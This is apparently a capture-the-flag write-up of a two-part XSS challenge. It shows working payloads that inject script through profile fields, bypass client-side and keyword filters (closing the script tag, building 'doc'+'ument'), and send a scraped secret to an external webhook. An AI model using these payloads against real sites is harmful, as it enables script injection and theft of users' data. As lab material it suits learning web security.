Part 1

We get a basic XSS setup. Submit your username and avatar, and both will be inserted directly into an inline script. You can report your profile so a bot loads it and runs your script. Simple. There is also an extra frontend validation layer but we can bypass that completely by simply POSTing the /review endpoint.

From page source we learn that the flag is inserted into the DOM for admin only by:

(function() {
  const container = document.createElement('div');
  container.id = 'secret';
  const shadow = container.attachShadow({ mode: 'closed' });
  shadow.innerHTML = '<p style="opacity: 0;">p_ctf{redacted-no-admin}</div>';
  document.querySelector('.card').appendChild(container);
})();

The whole "shadow" theme might be a misdirection (or a setup error), because the flag is still part of the HTML as well as the inline script above.

Close the quotation mark, then skim the scripts for the flag pattern.

";(()=>{ 
  const js = [...document.scripts].map(s => s.textContent || "").join("\n");
  const m = js.match(/p_ctf\{[^}]*\}/);
  (new Image()).src = "https://webhook.site/[...]?flag=" + encodeURIComponent(m);
})();//

Part 2

Part 2 add some extra server-side validation, namely banning double quotes and the document keyword, and making sure we provide a valid image for our avatar. So we make two changes:

  1. Instead of closing the string (since " is now banned) we close the whole script tag, then open a new one;

  2. Use self reference and construct a 'doc'+'ument' property access on the fly, getting us past the filter.

Send any name and use any existing image as the avatar:

https://i.imgur.com/7cC92dR.jpeg</script><script>
const d=self['doc'+'ument'];
for(const s of d.scripts){
  const m=/p_ctf\{[^}]+\}/.exec(s.text);
  if(m){(new Image).src='https://webhook.site/[...]?f='+m[0];break;}
}
</script>

Then report. Flag secured.